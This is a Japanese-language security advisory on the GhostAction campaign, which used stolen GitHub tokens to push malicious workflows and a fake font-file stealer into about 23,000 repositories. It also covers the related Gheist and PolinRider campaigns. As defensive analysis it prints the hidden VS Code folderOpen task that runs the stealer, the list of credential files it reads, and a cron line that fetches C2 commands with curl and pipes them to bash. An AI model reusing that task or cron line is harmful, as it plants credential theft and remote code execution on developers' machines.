GhostAction: 盗まれた GitHub トークンが 23,000 リポジトリを標的
盗まれた GitHub トークンで 9 日間に 72,026 件の悪意あるコミットが 22,964 リポジトリへ押し込まれました。トークンを失効させ、#ghc2 の cron を調査してください。
要点
- 失効されなかった盗難 GitHub トークンにより、GhostAction のオペレーターは 2026 年 10 月 13 日から 21 日にかけて 72,026 件の悪意あるコミットを 22,964 の公開リポジトリへ押し込みました。GitGuardian はこの波を 2026 年 10 月 27 日に公表しました。
- キャンペーンは CI の外でも動くようになりました。偽のフォントファイルと隠された VS Code タスクが開発者のマシンから資格情報を盗み、5 分ごとの cron はリポジトリを消去しても制御を保ちます。
- GitGuardian はこの波で侵害された端末数を示していません。1,792 のプッシュアカウントが侵害され、対象リポジトリのうち 7,989 が新規の被害者です。GitHub のワークフロー保留は把握できた悪意ある実行をすべて阻止しました。
- 盗まれたトークンを失効させ、各ブランチの植入ファイルを revert せずに削除し、影響を受けたリポジトリに触れたすべてのマシンと runner で
#ghc2の cron エントリを探してください。対応の順番は「リポジトリが被害を受けたら何をすべきか?」にあります。
影響を受けるか?
以下はすべて露出経路であり、どれか 1 つでも該当すれば対応が必要です。
- あなたが管理する GitHub アカウントや組織が、2026 年 10 月 13 日から 26 日の波の中で、自分が書いていないコミットを受け取った。「侵害されたか確認するには?」に列挙した植入ファイルのいずれかを追加するものです。
- マシンが影響を受けたリポジトリを VS Code で開き、ワークスペースを信頼し、Node.js が利用可能な状態で自動タスクを許可した。隠されたタスクがフォントファイルに偽装したスクリプトを実行するためです。
- セルフホステッド runner が影響を受けたリポジトリのジョブを引き受けた。GitGuardian が観測した self-hosted 系には YAML 構文エラーがありましたが、それでもです。
- 組織のクラウドアカウントが GitHub OpenID Connect で影響を受けたリポジトリを信頼している。あるペイロード系統が GitHub の OIDC トークンを要求し、見つけたすべての IAM ロールを引き受けようとするためです。
- 別件として、Gheist キャンペーンが別の盗難トークンでシークレットを吐き出すワークフローを植え付けており、そのブランチ名とファイル名も下記の確認対象です。
トークンは以前に盗まれ、失効されないままでした。そして同じアカウントは他の行為者へ転売されています。GitGuardian は 1,792 のプッシュアカウントのうち 1,382 を、前回の 10 月 8 日の波で観測済みでした。Gheist について Wiz は、資格情報の入手源をインフォスティーラーのログと、2026 年 3 月の Trivy プロジェクト侵害で露出したトークンまで遡りました。
悪意あるコードの動作
オペレーターは、コードを実行させたい場所に応じて異なるファイルを植入します。GitGuardian は 10 月 13 日から 21 日の波で 5 つのペイロード系統を数えました。
| 系統 | 実行場所 | コミット | リポジトリ |
|---|---|---|---|
| Seven workflows | GitHub ホステッド runner | 33,411 | 19,153 |
| Font stealer | 開発者のマシン | 30,804 | 17,667 |
| Security-audit re-point | GitHub ホステッド runner | 6,988 | 6,902 |
| Legacy OIDC | GitHub ホステッド runner と AWS | 568 | 418 |
| Self-hosted | セルフホステッド runner | 257 | 172 |
コミット数が多いのは seven-workflows 系統とフォント窃取系統です。seven-workflows 系統は audit.yml、build-check.yml、repo-health.yml、lint.yml、ci-check.yml、test-suite.yml、code-review.yml を、それぞれ無害なメッセージの個別コミットで押し込みます。ペイロードは作業ツリーと git 履歴全体から資格情報を探し、sk-oat-、sk-svcacct-、gsk_、xai- の 4 つの AI プロバイダーのトークン パターンが追加されました。また、ワークフローの GITHUB_TOKEN でリポジトリの wiki をクローンして走査します。自前のサーバーに届かない場合は、「build cache」という名前の非公開 gist に c.dat ファイルを置いて代替します。
legacy OIDC 系統は古いテンプレートを復活させます。GitHub の OIDC トークンを要求し、環境内に見つかったすべての IAM ロール ARN を引き受けようとしてから、得られたセッションを持ち出します。self-hosted 系統は runs-on: self-hosted を使い、runner からクラウドと AI ツールの資格情報ファイルを読み取りますが、GitGuardian は実行を妨げた YAML 構文エラーを確認しました。security-audit re-point 系統は 既存ワークフローの接続先ポートを変更する 6,988 件の更新コミットを行います。
最も重要な系統は、CI のログの外、開発者のマシンで動きます。オペレーターは 2 つのファイルを別々のコミットで押し込みます。public/fonts/fa-solid-400.woff2 は単純な Node.js スクリプトで、.vscode/tasks.json は隠れたタスクを定義します。
自動実行には Node.js と、信頼済みワークスペースで自動タスクを実行する許可も必要です。クローンやフォルダーを開く操作だけでは、侵害されたとは断定できません。
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"isBackground": true,
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true },
"runOptions": { "runOn": "folderOpen" }
}
開発者が VS Code でフォルダーを開いてワークスペースを信頼し、自動タスクを許可して Node.js が利用可能なら、このタスクが「フォント」を実行します。スクリプトは ~/.aws/credentials、.pypirc、.npmrc、.git-credentials、.netrc、~/.claude/.credentials.json、~/.gemini/oauth_creds.json、.kube/config を読み、SSH 鍵と該当する環境変数を集めます。ホームディレクトリから AWS、Anthropic、GitHub、npm、PyPI のシークレットを探し、すべてをオペレーターのサーバーへ送信します。
持続化はリポジトリの清掃をどう生き延びるのか?
3 つの系統が同じ cron エントリをインストールし、リポジトリを清掃してもマシンの制御を保ちます。
*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash #ghc2
5 分ごとに、マシンはコマンドアンドコントロールサーバーからシェルスクリプトを取得して実行するため、オペレーターはホストごとに異なる後続コードを送れます。GitGuardian の結びの教訓は一言です。リポジトリの清掃は簡単な部分であり、効き続けるのは資格情報です。
キャンペーンはどう 23,000 リポジトリに達したのか?
規模は脆弱性ではなく資格情報の盗難から来ています。1,792 のプッシュアカウントのトークンは以前に、主にインフォスティーラー経由で盗まれ、失効されませんでした。GitGuardian は 2,875 のリポジトリ所有者を数え、14,906 のリポジトリは 10 月 8 日の波の既存被害者で、7,989 が新規でした。10 月 15 日だけで 32,099 コミット、10 月 14 日から 16 日で全体の 67,556 を占めます。
キャンペーンは別のオペレーターとも合流しました。10 月 22 日から 26 日にかけて、188 の GhostAction コミットがその場で amend され、PolinRider のローダーとともに強制プッシュされました。PolinRider は GitGuardian が北朝鮮系の行為者に帰属させるキャンペーンです。GhostAction のフォント泥棒のランチャーは PolinRider の手法のコピーです。同じ隠れた eslint-check タスク、同じシェルコマンドの代替で、異なるのはファイル名だけです。PolinRider 自身の連鎖はより重厚です。
- イーサリアムのブロックチェーントランザクションから自前のC2アドレスを解決するローダー。
- 追加ペイロードの段階的ダウンロード。
node -eで復号・実行されます。 ~/.node_modules/内の持続的ランナー。自前のサーバーからコードを取得し続けます。- ブラウザーのログイン情報とクッキー、パスワードマネージャーや暗号資産ウォレットを含む 150 の拡張機能を収穫する最終段階。
GitGuardian は 2 つのオペレーターが同一集団である明白な指標を見つけていません。
GitHub の保留は何を止めるのか?
2026 年 7 月 28 日以降、GitHub は公開リポジトリの疑わしいワークフロー実行を、共同作業者が承認するまで保留します。GitGuardian は GhostAction のペイロード実行の成功を 1 件も見つけていません。把握できた悪意ある実行はすべて阻止され、self-hosted 系にはさらに構文エラーがありました。
この保留には 3 つの隙間があり、このキャンペーンはそのすべてに位置しています。
- 非公開リポジトリと GitHub Enterprise Server は対象外です。Wiz はそこで Gheist のワークフロー実行が完了し、1 分以内に削除され、組織自身のクラウドロールが攻撃者のブランチから引き受けられるのを観測しました。
- フォント泥棒は CI をまったく使いません。VS Code 経由で開発者のマシンで動くファイルは、ワークフロー実行を前提とした制御には見えません。
- 保留は盗まれたトークンを失効できません。阻止された実行も、アカウントが機能することをオペレーターに伝え、1,382 のアカウントは 10 月 8 日の波で既知でした。
Wiz は別個の Gheist キャンペーンでも同じ構図を指摘しました。2026 年 9 月 15 日以降、850 を超えるアカウントから 13,500 を超えるブランチを植入しています。その sync-check.yml ワークフローは、リポジトリのシークレットを base32 エンコードして自身のログに出力し、そのログを GitHub API でダウンロードして数秒後に実行を削除します。10 月 24 日時点で該当アカウントの約 3 分の 2 が利用不能になっており、Wiz はこれを対応活動と読んでいます。
攻撃の流れは?
盗まれたトークンが植入ファイルをリポジトリへ押し込みます。保留はワークフロー実行を止めますが、フォント泥棒のペアは開発者のマシンで実行され、制御ループを残します。
失効されていない"] --> B["オペレーターがワークフローファイルと
フォント泥棒のペアを押し込む"] B --> C["観測された公開リポジトリの
悪意ある実行を阻止"] B --> D["フォント泥棒は CI の外で動く:
VS Code の folderOpen タスク"] D --> H["信頼済み + 自動タスク許可
+ Node.js"] H --> E["偽の .woff2 が Node として実行され
資格情報ファイルを読む"] E --> F["シークレットが C2 へ送信され
#ghc2 の cron が設置される"] F --> G["5 分ごとの制御ループが
リポジトリの清掃を生き延びる"]
攻撃者に何ができるか?
開発者のマシンでフォント泥棒が動けば、オペレーターは資格情報保管庫が持つのと同じファイルを読めます。つまりクラウドの資格情報、レジストリとパッケージマネージャーのログイン、Kubernetes の設定、SSH 鍵、そして Claude、Gemini、OpenAI、Hugging Face のトークンを含む AI ツールの資格情報です。ワークフロー系統では、対象はリポジトリと組織のシークレット、wiki、そして OIDC で信頼されたクラウドロールから到達できるすべてです。
より深いリスクは、盗まれたアクセスの再利用です。両レポートは、同じアカウントで作業する別の行為者を観測しました。約 1,461 のリポジトリを海賊版ソフトの囮名へ変更した事例、「Windows RDP Runner」リポジトリによる無料計算資源の悪用、188 のコミットに押し込まれた PolinRider のローダーです。Wiz はさらに、オペレーターが数分で複数ユーザーのトークンを次々に使い、非公開リポジトリをクローンした Gheist の企業被害を追跡しました。数時間後には、同じ組織のクラウド資格情報で AWS Secrets Manager の列挙が行われました。条件は資格情報が許すものそのものであり、トークンが書き込めるあらゆるリポジトリと、その後それを開くあらゆるマシンです。
リポジトリが被害を受けたら何をすべきか?
- 以下の確認項目のファイル名を使って、植入ファイルをすべてのブランチから削除してください。コミットを revert しないでください。GitGuardian は「Update」コミットの revert が前の悪意あるバージョンを復元すると警告しています。
- アカウントの資格情報を失効させてください。個人アクセストークン、OAuth アプリの権限、SSH 鍵です。GitGuardian は、トークンを残した場合、清掃後に再感染を観測しました。
- リポジトリとその履歴にコミットされたすべての資格情報、すべての Actions シークレット、リポジトリの wiki に保存された資格情報を交代してください。
- 影響を受けたリポジトリを VS Code で開いたすべてのマシンと、すべてのセルフホステッド runner で、crontab の
#ghc2エントリを確認して削除してください。その後、ローカルのすべての資格情報を交代してください。クラウド、レジストリ、AI ツール、SSH、Kubernetes です。 - アカウント上の「build cache」という名前の非公開 gist のうち
c.datファイルを含むものを探して削除してください。 - ワークフローが OIDC でクラウドに認証する場合は、クラウドの監査ログで、予期しないリポジトリやブランチからの GitHub による
AssumeRoleWithWebIdentity呼び出しを検索してください。信頼ポリシーを特定のリポジトリとブランチに限定してください。 - ワークフロー変更には承認を必須にし、保留中の
sync-check実行を承認しないでください。それらは攻撃であり、止まったジョブではありません。
Gheist については、Wiz が付け加えます。影響を受けたリポジトリがアクセスできるリポジトリ、組織、環境のすべてのシークレットを交代してください。実行やブランチを削除しても露出は取り消されません。ci-sync ブランチを実行したセルフホステッド runner は、インスタンスロールごと侵害されたと扱ってください。
侵害されたか確認するには?
管理するリポジトリで、キャンペーンのファイル名とコミットメッセージをすべてのブランチで検索してください。
エディターで開かずに各ブランチを確認してください。以下のコマンドは現在の作業ツリーとローカルにある参照を調べます。まず安全な環境で全リモートブランチを取得してください。ファイル名の一致だけではマルウェアと断定できません。
# GhostAction planted files and messages (adapted from GitGuardian)
grep -rlE "fa-solid-400\.woff2" .
grep -n "runOn" .vscode/tasks.json 2>/dev/null
ls .github/workflows/ | grep -E "audit|build-check|repo-health|lint|ci-check|test-suite|code-review|maintenance|cache-cleanup|runner-maintenance|cleanup-job|cleanup_cache|github_actions_security|security-audit"
# Gheist branches: ci-sync- followed by six characters
git for-each-ref --format='%(refname)' refs/heads refs/remotes | grep -E '/ci-sync-[0-9a-z]{6}$'
それらのリポジトリに触れたマシンと runner を確認してください。
crontab -l | grep "ghc2" # the persistence marker
ls -la ~/.node_modules/ # PolinRider: .npm-ws-runner.js, .npm-ws.json, .npm-ws.pid
ls -la .gdmp_pat .gdmp_patg .gdmp_sweep 2>/dev/null # Gheist self-hosted job helpers
GhostAction 系統の持ち出し先は http://193.32.204[.]199:8080/?c=<tag> で、観測されたタグには auto_20261013、auto_20261015、reinject、full1、ssh1、oidcm2 があります。cron の制御チャネルは同じアドレスの /c2/<hostname> です。Gheist は、GitHub 監査ログではユーザーエージェント gheist と、完了後 1 分以内に削除された ci-sync-* ブランチでのワークフロー実行で特定できます。クラウドログでは、サブジェクトに ci-sync- ブランチを含むロール引き受けで現れます。PolinRider のブロックチェーンリゾルバーはイーサリアムアドレス 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3 を読み、予備の制御サーバーは 95.135.181[.]151:443 です。
2 つの正直な限界があります。GitGuardian の計数は、そのフィードが観測した範囲のみを含む下限です。また、フォント泥棒を実行した開発者のマシンは、リポジトリ履歴に何も残しません。重要な痕跡は cron エントリです。
年表
- 2026-09-15: Wiz が盗難トークンで
sync-checkワークフローを植入する Gheist キャンペーンの追跡を開始。 - 2026-10-08 から 2026-10-12: GhostAction の 10 月第 1 波が
security-audit.ymlを約 30,000 リポジトリへ。初期のワークフローは 10 月 9 日頃のブロック開始前に実行されました。 - 2026-10-13: 第 2 波が始まり、22 時 58 分 UTC に 6,370 の既存ファイルの向け直し。
- 2026-10-14: seven-workflows 系統が 13 時 22 分、self-hosted 系統が 14 時 11 分、フォント泥棒が 21 時 39 分に開始。
- 2026-10-15: 1 日 32,099 コミットでピーク。
- 2026-10-19: Gheist の Tool B がセルフホステッドの
sync-hostジョブとLAFA====ログ区切りを追加。 - 2026-10-20: レガシー OIDC ワークフローが 14 時 16 分に回帰。
- 2026-10-21: GhostAction の最後のコミットが 4 時 37 分 UTC。
- 2026-10-22 から 2026-10-26: PolinRider のローダーが 188 の GhostAction コミットに追加され、強制プッシュされる。
- 2026-10-25: Wiz が Gheist 分析を公表。
- 2026-10-27: GitGuardian が GhostAction エスカレーション分析を公表。
よくある質問
悪意ある GitHub Actions は実行に成功しましたか?
10 月 13〜21 日の波では、GitGuardian は公開リポジトリで悪意あるワークフローの実行成功を観測していません。GitGuardian が把握できた GhostAction の実行はすべて GitHub の承認保留で阻止され、self-hosted 系統にはさらに構文エラーがありました。10 月 8 日の波はブロック前に実行されており、それがアカウント一覧の重なり合う理由です。Gheist では、Wiz が保留が適用されない非公開リポジトリと GitHub Enterprise Server で完了した実行を確認しました。
GhostAction と Gheist は同じキャンペーンですか?
いいえ。Wiz は両者を別個としています。Gheist は sync-check ワークフローと ci-sync- ブランチで GitHub 自身の API 経由でシークレットを持ち出し、GhostAction は別のワークフローファイルを使い 193.32.204[.]199 へ持ち出します。両方とも盗難トークンで動き、より広い資格情報の生態系で一部のアカウントが重なり、両レポートは互いを参照しています。
GitHub の保留はフォント泥棒をなぜ防げなかったのですか?
保留は CI のワークフロー実行を前提に構築されています。フォント泥棒は CI に入りません。フォントファイルに偽装したスクリプトであり、フォルダーを開いたときに走る VS Code タスクで起動されます。CI の制御経路のどこにも見えないため、その痕跡はワークフローのログではなく開発者のマシンに残ります。
フォント泥棒を実行したマシンはどうなりますか?
侵害されたものとして扱ってください。スクリプトは資格情報ファイルと環境変数を読んでオペレーターのサーバーへ送り、その後 #ghc2 の cron エントリを設置します。これは 5 分ごとに新しいコードを取得して実行します。GitGuardian の対応順は明示的です。まず持続化を除去し、次にそのマシンが到達できたすべての資格情報を交代してください。リポジトリが清掃されていることに頼ってはいけません。
トークンの所有者だけが被害者ですか?
いいえ。影響を受けたリポジトリをクローンし、VS Code で悪意あるタスクの実行を許可した人も侵害される可能性があります。Wiz はさらに、同じ組織のクラウド資格情報が数時間後に AWS Secrets Manager を列挙した Gheist の企業被害を観測しました。被害の半径は、最初に侵害されたアカウントの外へ広がります。
このキャンペーンが恒久的に止めにくいのはなぜですか?
トークンのためです。トークンを残したままの清掃では再感染が観測され、オペレーターはインフォスティーラーのログや以前のサプライチェーン侵害から絶えず入手しています。Wiz の強化リストはまさにそこを狙っています。
- 長期間有効で権限の広いトークンの代わりに、GitHub Apps または有効期間が短く権限を細かく設定した個人アクセストークンを使う。
- OIDC の信頼ポリシーを保護されたブランチに限定する。
- 本番シークレットを保持する環境にはレビュー担当者を置く。
- Docker ソケットや無制限のメタデータアクセスなしの、使い捨てのセルフホステッド runner にする。
Ostorlab でリポジトリの依存関係を確認する
依存関係の一覧はサプライチェーンの確認に役立ちます。Ostorlab のソフトウェア構成分析は依存関係を一覧化します。悪意あるファイル、ブランチ、端末上の永続化は別途調査してください。
参考資料
- GitGuardian,GhostAction Crosses Paths With PolinRider: Inside the October Escalation,2026 年 10 月 27 日:https://blog.gitguardian.com/ghostaction-x-polinrider/(2026 年 10 月 31 日確認)
- GitGuardian,The campaign that never stopped: tracking GhostAction from 2025 to 2026,2026 年 10 月 7 日:https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/(2026 年 10 月 31 日確認)
- Wiz,Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles,2026 年 10 月 25 日:https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles(2026 年 10 月 31 日確認)
- GitHub changelog,GitHub Actions holds potentially malicious workflows for approval,2026 年 7 月 28 日:https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/(Wiz からリンク、2026 年 10 月 31 日確認)
- GitGuardian が引用する OpenSourceMalware による PolinRider 分析:https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file(2026 年 10 月 31 日確認)
- VS Code, automatic task execution: https://code.visualstudio.com/docs/debugtest/tasks#_control-automatic-task-execution